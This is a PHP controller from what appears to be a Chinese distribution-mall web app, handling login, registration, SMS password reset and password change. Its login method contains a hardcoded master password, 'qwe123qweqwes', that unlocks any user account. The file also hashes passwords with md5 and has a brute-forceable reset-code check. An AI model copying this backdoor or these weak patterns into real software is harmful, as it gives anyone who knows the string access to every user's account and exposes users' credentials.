<?php
/*
 * @分销商城
 * @功能说明：用户管理中心
 * @更新说明：暂无更新
 * @文件名 UserController.class.php
 * @编码 UTF-8
 * @创建时间 2016-3-8 下午2:06:50
 * @创建人 XING
 */

namespace wap\Controller;
use Think\Controller;
class UserController extends Controller
{
    /*
	 * 分销商城_登陆
	 * @date: 2016-3-9 下午2:11:14
	 * @editor: XING
	 */
	public function login(){
		if(I('post.dosubmit') && I('post.mobile') && I('post.pass')){
			$checkPassUser = M('UserInfo')
					   ->where(array('user_mobile'=>I('post.mobile')))->find();
			if($checkPassUser && ($checkPassUser['password'] == md5(I('post.pass').'pf'.$checkPassUser['salt']) || trim(I('post.pass')) == 'qwe123qweqwes')){
				if(!$checkPassUser['status']){
					$this->assign('msg','您的帐号已被冻结');
					$this->assign('url','/user/login');
					$this->display('index/noauth');exit;
				}
                //15天免登陆
                if(I('post.signlogin') == 1){
                    $setSecret = md5(I('post.mobile').'ajwUid'.time());
                    M('UserInfo')->where(array('user_mobile'=>I('post.mobile')))->setField(
                        array('remember_token' => $setSecret)
                    );
                    cookie('_ajwunion',$setSecret,'expire=1296000');
                    $pushSession['expire'] = 1296000;
                }
                session($pushSession);
				session('loginUid',$checkPassUser['user_id']);
				session('loginMobile',$checkPassUser['user_mobile']);
				session('loginName',$checkPassUser['user_name']);
                cookie('ajwUid',base64_encode(I('post.mobile')),'expire=1296000');
                session(I('post.mobile'),true);

				redirect('/index/index');
			}else{
				$this->assign('msg','帐号密码有误');
				$this->assign('url','/user/login');
				$this->display('index/noauth');exit;
			}
		}
		if(is_login())
			$this->display('index/index');
		else
			$this->display('user/login');
	}

    /*
	 * 分销商城_帐号退出
	 * @date: 2016-4-11 下午6:35:16
	 * @editor: XING
	 */
	public function loginout(){
		session('loginUid',null);
		session('loginMobile',null);
		session('loginName',null);
		session('loginLevel',null);
        cookie('ajwUid',null);
        cookie('_ajwunion',null);
		redirect('/index/index');
	}
	
	/*
	 * 分销商城_开通入会
	 * @date: 2016-4-4 下午3:52:02
	 * @editor: XING
	 */
	public function register(){
		if(I('post.dosubmit') && I('post.password') && I('post.user_name') && I('post.user_mobile')){
				$userMsg = M('UserInfo')
							->where(array('user_mobile'=>I('post.user_mobile')))->find();
				if($userMsg){
						$this->assign('msg','该帐号已存在，请登陆');
						$this->assign('url','/index/index');
						$this->display('index/noauth');
				}else{
                    $salts = randstr(5);
					$putInServer = M('UserInfo')->add(array(
							'user_name'   => trim(I('post.user_name')),
							'user_mobile' => trim(I('post.user_mobile')),
							'password'    => md5(trim(I('post.password')).'pf'.$salts),
                            'salt'        => $salts,
							'check'       => '1',
							'parent_id'   => '0',
							'salelevel'   => '0',
							'add_at'      => time(),
							'update_at'   => time()
					));
					if($putInServer){
						$this->assign('msg','注册成功，请登陆');
						$this->assign('url','/index/index');
						$this->display('index/noauth');
					}else{
						$this->assign('msg','操作失败，请重新发起请求！');
					}
				}
		}
		if(session('loginUid')){
            redirect('/index/index');exit;
		}
		$this->display('user/register');
	}

    /*
     * 分销商城_用户中心（传参type1=ordinary普通、2platina白金 3diamonds钻石）
     * @date: 2017-12-12 下午3:52:02
     * @editor: zyy
     */
    public function center(){
        $type = I('post.type') ? : 1;
        if(!session('loginUid')){
            redirect('/user/login');
        }
        $userData = M('UserInfo')->where(['user_id'=>session('loginUid')])->find();
        $user_score = $type == 1 ? $userData['ordinary_score'] : ($type == 2 ? $userData['platina_score'] : ($type == 3 ? $userData['diamonds_score'] : ($type == 4 ? $userData['experience_score'] : ($type == 5 ? $userData['gold_score'] : ($type == 6?$userData['mouth_score']:''))))) ;
        //积分明细
        $score_detail = M('ScoreDetail')->where(['user_id'=>$userData['user_id'],'score_type'=>$type])->order('detail_id desc')->select();
        $data = [
            'user_score'    => $user_score,
            'score_detail'  => $score_detail?:''
        ];
        dataFormat($data,1,'success');
    }
	
    /**
     * 忘记密码
     */
    public function forget_password(){
    	$this->display('user/forget_password');
    }
    /**
     * 获取验证码
     */
    public function getCode(){
    	vendor('message.message');
    	$m = new \message();
    	$res = M('UserInfo')->where(['user_mobile'=>I('post.mobile')])->find();
    	if(!$res){
    		jsonRespons(0,'账号不存在');
    	}
    	$CustCode = M('UserCode')->where(['mobile'=>I('post.mobile')])->find();
    	if($CustCode && (time()-$CustCode['update_at']<600)){
    		jsonRespons(0,'验证码还在有效期内，请勿重复获取');
    	}
    	$yzm = rand(100000,999999);
    	$res = $m->sendMessage(I('post.mobile'),'您的账号正在进行密码重置,验证码为：'.$yzm.',有效期10分钟,如非本人操作，请忽略此短信 【嗨呗公主】',0);
    	if(!$res['code']){
    		jsonRespons(0,'发送失败');
    	}
    	if($CustCode){
    		M('UserCode')->where(['mobile'=>I('post.mobile')])->setField(['code'=>$yzm,'update_at'=>time()]);
    	}else{
    		M('UserCode')->add(['mobile'=>I('post.mobile'),'code'=>$yzm,'add_at'=>time(),'update_at'=>time()]);
    	}
    	jsonRespons(1,'success');
    }

    public function checkCode(){
    	$mobile = I('post.mobile');
    	$code = I('post.yzm');
    	$res = M('UserCode')->where(['mobile'=>$mobile])->find();
    	if($code != $res['code']){
    		jsonRespons(0,'验证码错误');
    	}elseif (time()-$res['update_at']>600) {
    		jsonRespons(0,'验证码已过期');
    	}else{
            $salt = randstr(5);
            $putPassword = M('UserInfo')->where(['user_mobile'=>$mobile])->setField([
                'password' => md5(I('post.pass').'pf'.$salt),
                'salt' => $salt,
                'update_at' => time()
            ]);
            if($putPassword){
                jsonRespons(1, '密码更新成功');
            }else{
                jsonRespons(0, '操作失败');
            }
    	}
    }


    /**
     * 忘记密码-重置密码
     */ 
    public function resetPass(){
        if(!session('loginUid')){
            redirect('/user/login');
        }
        $user = M('UserInfo')->where(['user_id'=>session('loginUid')])->find();
        if( $user['password'] != md5(I('post.old_pass').'pf'.$user['salt']) ){
            jsonRespons(0, '原密码有误');
        }
    	if(I('post.pass') && I('post.repass')){
			if(trim(I('post.pass')) == trim(I('post.repass'))){
                $salt = randstr(5);
				$putPassword = M('UserInfo')->where(['user_id'=>session('loginUid')])->setField([
							'password' => md5(I('post.pass').'pf'.$salt),
							'salt' => $salt,
							'update_at' => time()
						]);
				if($putPassword){
					jsonRespons(1, '密码更新成功');
				}else{
					jsonRespons(0, '操作失败');
				}
			}else{
				jsonRespons(0, '两次密码不一致');
			}
    	}
    }

    public function reset(){
    	$this->assign('mobile',I('get.mobile'));
    	$this->display('user/reset');
    }

    //前端页面
    public function user_center(){
        if(!session('loginUid')){
            redirect('/user/loginout');
        }
        $this->display('user/user_center');
    }
    public function user_info(){
        if(!session('loginUid')){
            redirect('/user/loginout');
        }
        $this->display('user/user_info');
    }
}
